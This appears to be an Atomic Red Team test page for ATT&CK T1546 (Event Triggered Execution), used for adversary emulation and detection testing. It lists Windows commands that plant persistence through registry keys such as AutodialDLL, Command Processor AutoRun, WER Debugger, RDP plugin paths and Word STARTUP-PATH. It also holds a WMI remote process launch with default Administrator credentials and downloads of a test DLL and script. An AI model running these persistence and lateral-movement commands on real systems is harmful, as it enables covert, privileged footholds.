T1546 - Event Triggered Execution

Description from ATT&CK

Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001) Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware) Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.

Atomic Tests


Atomic Test #1 - Persistence with Custom AutodialDLL

The DLL pointed to by the AutodialDLL registry key is loaded every time a process connects to the internet. Attackers can gain persistent code execution by setting this key to a DLL of their choice.

The sample dll provided, AltWinSock2DLL, will launch the notepad process. Starting and stopping a web browser such as MS Edge or Chrome should result in the dll executing. Blog

Supported Platforms: Windows

auto_generated_guid: aca9ae16-7425-4b6d-8c30-cad306fdbd5b

Attack Commands: Run with 
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powershell
! Elevation Required (e.g. root or admin)

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Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll

Cleanup Commands:

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Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value  $env:windir\system32\rasadhlp.dll

Dependencies: Run with 
1

powershell
!

Description: AltWinSock2DLL DLL must exist on disk at specified at PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll
Check Prereq Commands:
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if (Test-Path PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll) { exit 0} else { exit 1}
Get Prereq Commands:
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New-Item -Type Directory "PathToAtomicsFolder\T1546\bin\" -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546/bin/AltWinSock2DLL.dll" -OutFile "PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll"



Atomic Test #2 - HKLM - Persistence using CommandProcessor AutoRun key (With Elevation)

An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed. reference

Supported Platforms: Windows

auto_generated_guid: a574dafe-a903-4cce-9701-14040f4f3532

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | command | Command to Execute | string | notepad.exe|

Attack Commands: Run with 
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powershell
! Elevation Required (e.g. root or admin)

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New-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -Value "#{command}" -PropertyType "String"

Cleanup Commands:

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Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -ErrorAction Ignore



Atomic Test #3 - HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation)

An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed. reference

Supported Platforms: Windows

auto_generated_guid: 36b8dbf9-59b1-4e9b-a3bb-36e80563ef01

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | command | Command to Execute | string | notepad.exe|

Attack Commands: Run with 
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powershell
!

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$path = "HKCU:\Software\Microsoft\Command Processor"
if (!(Test-Path -path $path)){
  New-Item -ItemType Key -Path $path
}
New-ItemProperty -Path $path -Name "AutoRun" -Value "#{command}" -PropertyType "String"

Cleanup Commands:

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Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Command Processor" -Name "AutoRun" -ErrorAction Ignore



Atomic Test #4 - WMI Invoke-CimMethod Start Process

The following Atomic will create a New-CimSession on a remote endpoint and start a process usnig Invoke-CimMethod. This is a novel way to perform lateral movement or to start a remote process. This does require WinRM to be enabled. The account performing the run will also need to be elevated. A successful execution will stdout that the process started. On the remote endpoint, wmiprvse.exe will spawn the given process.

Supported Platforms: Windows

auto_generated_guid: adae83d3-0df6-45e7-b2c3-575f91584577

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | dest | destination computer name | string | localhost| | password | password for account | string | P@ssword1| | username | account to use | string | Administrator| | process | process to spawn | string | calc.exe|

Attack Commands: Run with 
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powershell
! Elevation Required (e.g. root or admin)

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# Set the remote computer name and credentials
 $RemoteComputer = "#{dest}"
 $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
 $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword

 # Create a CIM session
 $CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential

 # Define the process you want to start
 $ProcessToStart = "#{process}"

 # Invoke the Create method on the Win32_Process class to start the process
 $Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}

 # Check the result
 if ($Result.ReturnValue -eq 0) {
     Write-Host "Process started successfully with Process ID: $($Result.ProcessId)"
 } else {
     Write-Host "Failed to start the process. Error code: $($Result.ReturnValue)"
 }

 # Clean up the CIM session
 Remove-CimSession -CimSession $CimSession



Atomic Test #5 - Adding custom debugger for Windows Error Reporting

When applications hang, the Windows Error Reporting framework allows us to attach a debugger, if it is set up in the Registry. Adding executable of choice will let the executable to auto-execute when during any application crash due to functioning of WER framework

Supported Platforms: Windows

auto_generated_guid: 17d1a3cc-3373-495a-857a-e5dd005fb302

Attack Commands: Run with 
1

command_prompt
! Elevation Required (e.g. root or admin)

reg add "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs" /v Debugger /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f

Cleanup Commands:

reg delete "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs" /v Debugger /f



Atomic Test #6 - Load custom DLL on mstsc execution

Adding ClxDllPath under Terminal Server Client subkey of HKLM hive with a path to custom DLL allows for DLL loading during execution of mstsc.exe

Supported Platforms: Windows

auto_generated_guid: 2db7852e-5a32-4ec7-937f-f4e027881700

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | dll_inf | custom DLL to be executed | Path | C:\Windows\System32\amsi.dll|

Attack Commands: Run with 
1

command_prompt
! Elevation Required (e.g. root or admin)

reg add "HKLM\SOFTWARE\Microsoft\Terminal Server Client" /v ClxDllPath /t REG_SZ /d "#{dll_inf}" /f

Cleanup Commands:

reg delete "HKLM\SOFTWARE\Microsoft\Terminal Server Client" /v ClxDllPath /f



Atomic Test #7 - Persistence using automatic execution of custom DLL during RDP session

When remote desktop session is accepted, the system queries the key it queries the Registry key:HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin. If such key exists, the OS will attempt to read the Path value underneath.Once the Path is read, the DLL that it points to will be loaded via LoadLibrary.

Supported Platforms: Windows

auto_generated_guid: b7fc4c3f-fe6e-479a-ba27-ef91b88536e3

Attack Commands: Run with 
1

command_prompt
! Elevation Required (e.g. root or admin)

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin" /v Path /t REG_SZ /d "C:\Windows\System32\amsi.dll" /f

Cleanup Commands:

reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin" /f



Atomic Test #8 - Persistence via ErrorHandler.cmd script execution

Create persistence by triggering script within ErrorHandler.cmd upon the execution of specific binaries within the oobe directory. Upon test execution, Setup.exe will be executed to further execute script within ErrorHandlercmd to launch Notepad.

Supported Platforms: Windows

auto_generated_guid: 547a4736-dd1c-4b48-b4fe-e916190bb2e7

Attack Commands: Run with 
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powershell
! Elevation Required (e.g. root or admin)

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Copy-Item -Path PathToAtomicsFolder\T1546\src\ErrorHandler.cmd -Destination C:\Windows\Setup\Scripts\ErrorHandler.cmd
C:\windows\System32\oobe\Setup

Cleanup Commands:

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Remove-Item C:\Windows\Setup\Scripts\ErrorHandler.cmd

Dependencies: Run with 
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powershell
!

Description: ErrorHandler.cmd script must exist on disk at specified at PathToAtomicsFolder\T1546\bin\ErrorHandler.cmd
Check Prereq Commands:
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if (Test-Path PathToAtomicsFolder\T1546\src\ErrorHandler.cmd) { exit 0} else { exit 1}
Get Prereq Commands:
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New-Item -Type Directory "PathToAtomicsFolder\T1546\src\" -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546/src/ErrorHandler.cmd" -OutFile "PathToAtomicsFolder\T1546\src\ErrorHandler.cmd"



Atomic Test #9 - Persistence using STARTUP-PATH in MS-WORD

When Word starts, it searches for the registry key HKCU\Software\Microsoft\Office<version>\Word\Options\STARTUP-PATH and if it exists, it will treat it as a user specific start-up folder and load the contents of the folder with file extensions of .wll,.lnk,.dotm,.dot,.dotx The registry key can be abused to load malware from the mentioned path. Reboot might be required.

Supported Platforms: Windows

auto_generated_guid: f0027655-25ef-47b0-acaf-3d83d106156c

Attack Commands: Run with 
1

command_prompt
! Elevation Required (e.g. root or admin)

reg add "HKCU\Software\Microsoft\Office\16.0\Word\Options" /v STARTUP-PATH /t REG_SZ /d "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent" /f

Cleanup Commands:

reg delete HKCU\Software\Microsoft\Office\16.0\Word\Options /v STARTUP-PATH /f